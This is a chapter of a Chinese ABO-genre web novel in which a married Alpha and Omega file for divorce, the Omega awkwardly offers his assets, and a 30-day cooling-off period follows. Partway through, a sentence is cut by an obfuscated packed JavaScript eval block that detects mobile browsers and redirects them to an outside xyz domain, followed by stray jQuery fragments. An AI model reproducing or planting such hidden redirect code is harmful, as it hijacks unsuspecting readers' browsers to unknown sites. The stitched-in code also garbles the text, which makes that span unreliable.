一觉睡醒,屋内昏暗的光线并没有改变太多,江暄打着哈欠从被窝中钻出来,微晃着脑袋甩掉白日久睡后的晕顿。
他平日不怎么睡回笼觉的人,猛然一睡也没有达到很好的放松效果,反而觉得身体深处的疲倦涌到体表,比入睡前还要没有精力。
他今天好像没请假。
墙上挂钟已经走到九点半,江暄打开手机聊天软件的瞬间,秘书的头像旁边正亮着小红点。
—梁秘:“江总,综艺已进入筹拍阶段,后期需要协商的事情并不多,如果您允许,相关后续事务我就移交到各个部门。”
—梁秘:“江总,我们今天九点有场发布会,考虑到时间问题,我已经协商通知其他主管代您出席。”
最后一条消息和之前隔了几分钟。
—梁秘:“江总,您的身体没关系吗?”
梁秘书很少见地关心了他的个人问题。
除此之外,林绪川的消息也蹦个不停。
他特意去了公司一趟,担心经历Omega易感期之后,他会受伤。
怒火中的Omega,很容易抓伤咬伤被标记对象。
过硬的力量让他们在欢爱中占据着不可动摇的上风。
江暄刻着咬痕的手指压着机身边缘,有一会儿才提起手指回复。
—大川:“所以什么时候办离婚证?”
—大川:“□□之后要不要跟我回美国?”
—大川:“资金托管之后,你每天只需要做自己想做的事。”
握着的手机震动,林绪川的消息不停往外冒。
睡炸的发卷压着额头,在林绪川描绘的画面中,江暄隐约出现几分向往。
—大川:“再也没有让你烦恼的事,再也没有让你烦恼的人,所有的一切,我都会为你解决好。”
—大川:“要不要试试,只为自己活一次。”
悬停在手机屏幕上的拇指迟迟未动。
他只是迟迟走不出林绪川的最后一句话。
一个极乐的世界。
停滞的拇指重新运作起来,轻轻点在那行字上,随后,他的指尖毫不留恋,敲出回答:“没有你想象得这么严重,放心啦。”
—J:“你快回家了,别在公司等我,我过去还要几十分钟。”
几秒钟后,还在公司等人的林绪川再次收到消息。
—小蜜桃:“不啦,我今天上午要翘班。”
如此难得的翘班,林绪川嘴角明显上扬,反手点开转账。
“庆祝小蜜桃第一次翘班!”
发来的红包上印着这样一句话。
只是翘班而已。
林绪川未免也太小题大做。
—大川:“你可是连课都没翘过的人!”
—大川:“我们小蜜桃开始踏出规则了,我们小蜜桃好棒!”
……
也不知道林绪川哪来这么多话要说,红粉粉的颜色爬山虎似的漫过耳际。
夸、夸得太夸张了。
他抿唇,故作镇定回复。
—J:“今天适合翘班而已。”
好一会儿,才结束和林绪川的聊天。
黑色的手机压在下巴上,镜子里的Alpha身姿玉立,短袖下嫩滑泛光的皮肤印着几道极深的咬痕,连脚踝上都印着不知何时留下的痕迹。
明显不能出门的样子。
睡前在裴家夫妇面前只是强装镇定而已。
裴妈妈关心他的时候,他只想找些什么,将这些严重的痕迹全部盖掉。
在屋里又耽误一会儿,出门的时候,时间已经接近中午。
发胶固定的发丝一丝不苟,紧束的衬衫扣到顶端,敞怀的衬衫马甲对称在身体两侧。
正聚精会神于膝盖上的笔记本电脑。
一个意外的人坐在客厅。
江暄再三确认现在是正常上班时间,才半带惊悚假装没有看见沙发上的人。
裴槐青不去上班在这里干什么?
易感期安然度过的Omega的信息素又回到平时的水平,只薄薄弥漫在空气中,让他读不懂其中的情绪。
这点信息素,还不如他身上的浓。
江暄放弃从信息素中获得信息的想法。
提着脚跟从沙发后经过。
“江暄。”
完全没有想象到的拉力止住他的行动。
今天是什么日子,江暄受惊地拽回来自己的手。
Omega的瞳孔很黑,盯着他,像是在思索。
“什么事?”
江暄甚至在沙发后又撤一步。
裴槐青这才仿佛按下开关,弯腰从沙发上拿起文件夹。
是个很普通常见的文件夹,和沙发上其余几个没什么不同。
江暄走出来时就看到了,他当时以为这是裴槐青工作文件。
几张纸、几本证从中间抽出来。
裴槐青一脸认真,将这些东西递到江暄手中。
“江暄,这些全部都给你。”
股权转让协议书、房产证……江暄一头雾水,捏着手中的文件迟迟未动。
这是裴妈妈说的补偿吗?
未免太多了点。
如果他没看错,他不光拿到了裴槐青自己公司的股权,还拿到了裴家的股权。
Omega看起来还有话要说的样子,江暄想拒绝的话暂时搁置喉间。
等裴槐青全说完再拒绝也不迟。
Omega神情又认真几分,身前马甲的扣子不知何时悄悄扣齐,西装革履显得有几分肃穆,他一字一顿道:“我要包养你。”
“什么?”
江暄一时没听明白。
“财产都给你,我要包养你。”
眼睛清明,不像是喝醉的样子。
江暄理应愤怒,正经婚姻伴侣离婚后要包养他,如此轻浮瞧不起他的态度,好似将他当作呼之即来挥之即去的宠物。
但他竟然一点情绪起伏都给不出。
“裴槐青,”零零散散的文件被甩在沙发上,“钱、房子、股份,你觉得我缺哪一样?”
“哪一样是你觉得我没有的。”Alpha的口吻很淡,仿佛真的是在询问。
Omega瞳孔很明显地上下浮动几秒,喉间软骨滑动,他忽然又弯下腰去,从沙发上拿起什么。
“礼物,江暄。”
“我不需要。”
又是哪里来的礼物,江暄挥开触到手边的盒子。
精致小巧的盒子落在沙发上,弹了两下从江暄的视野中消失。
盒子从裴槐青手心飞出的时候,空中的信息素似乎隐约出现几丝慌乱。
但Omega一成不变的表情又让他觉得那一瞬间的觉察只是自己的错觉。
“裴槐青,事到如今,你不会想反悔吧?”
“我是一定要离婚的。”
Alpha的声音掷地有声。
漆黑的瞳孔中映出Alpha小山峰似蹙起的眉头以及弯着下压的嘴角。
一种具象的、可以被感知到的痛苦,正从Alpha每个毛孔间散发出来。
我又让他不开心了。
裴槐青茫然又无措。
在Alpha的眼角微微发红里,胸膛里那颗肉瘤一般死气沉沉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310096|182881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的心脏怦怦跳动起来,不要命地撞在肋骨上。
疼,撞在肋骨上的肉瘤疼,肋骨撞上的肌肉疼,肋骨也疼。
似乎连呼吸都变得困难起来。
“离婚的,离的。”
裴槐青不知道自己为什么有那样的感受。
他确实想过Alpha会不会不离婚,他想要将Alpha留下来。
但他好像选错了学习对象,Alpha没有留下来,反而看上去更伤心了。
他不应该违背Alpha的意愿。
即便他在自己的声音中仿佛听到肋骨断裂的声响。
“现在就去。”
这是什么感受,裴槐青对自己身体的变化摸不着头脑,他趁着Alpha转身,很快地用手指一一检查左侧几根肋骨。
没有任何异样。
可经久不散的、越发强烈的疼痛正辐射状向外——传遍整个身体。
“不走吗?”
Alpha的眼眶已经全红了。
空气中极淡的桃香猛地跳动,大量的潮雨味道围过去,将那点淡淡的桃香轻轻包住。
两股信息素在空中纠缠,潮雨味道的信息素克制着没有吞没稀薄的几缕淡桃香。
“来了。”
和往常一样,他们一前一后,踏出这间酒店的房门。
一纸离婚登记申请书交上去,一纸离婚登记申请受理回执单发来。
“您好,是这样的,先生,在你们解除婚姻关系之前,还需要度过30天的离婚冷静期。”
“在冷静期内你们任何一方都可以单方面撤回申请。30天期满后,双方未共同到婚姻登记机关申请发给离婚证,同样视为撤回离婚申请。”
“若期满确认离婚,需要携带必要证件共同到婚姻登记机关申请发放离婚证。”
“我注意到,今天的日期正是你们结婚证上的日期,你们确认要在今天申请离婚吗?”
柜台后的男士带着得体的笑容,手中事务不停,嘴上还能和他们介绍具体的离婚措施。
还有30天离婚冷静期。
江暄怎么都没有想到,这场早就已经成为定局的破裂的婚姻,需要在时间线上拖长这么久。
像是一段终于以为看到尽头的路,走到最后,才看见还有向下的陡坡等待他的步履踏过。
江暄只是点头,沉默坚定地表达自己的立场。
民政局之外,一辆轿车早已等候多时。
“暄宝!”
潇洒的呼唤,吸引眼球的豪车以及三张怎么看怎么不基础的脸。
顿时,民政局旁又飞起叠加许多异想的流言。
“听说是Omega太不近人情,Alpha才找的小三。”
“说什么呢,我听说是Omega不行。”
“哪里哪里,我听说的版本不是这样的。那Alpha的样子你们也都看到了,听说是太漂亮引了两颗歹心,夹在Beta和Omega之间,被折磨得不成样子哦。”
……
众说纷纭,流言四起。
流言中心的Alpha坐在友人的车里,吹着拂面的风,糟糕的心情终于冒出些好头。
而重新回到酒店的Omega,终于找到落在地上的饰品盒。
受力开盖的饰品盒倒在地上,被裴槐青的手指翻过身。
一枚上好羊脂白玉雕成的兔子坐于其中,红宝石做成的眼珠闪着荧光。
这是他准备的结婚纪念日礼物。
裴槐青架起指尖,很小心地,摸在玉兔脑袋上。
宽阔的套房中,流出一声低到不可闻的“小白兔”。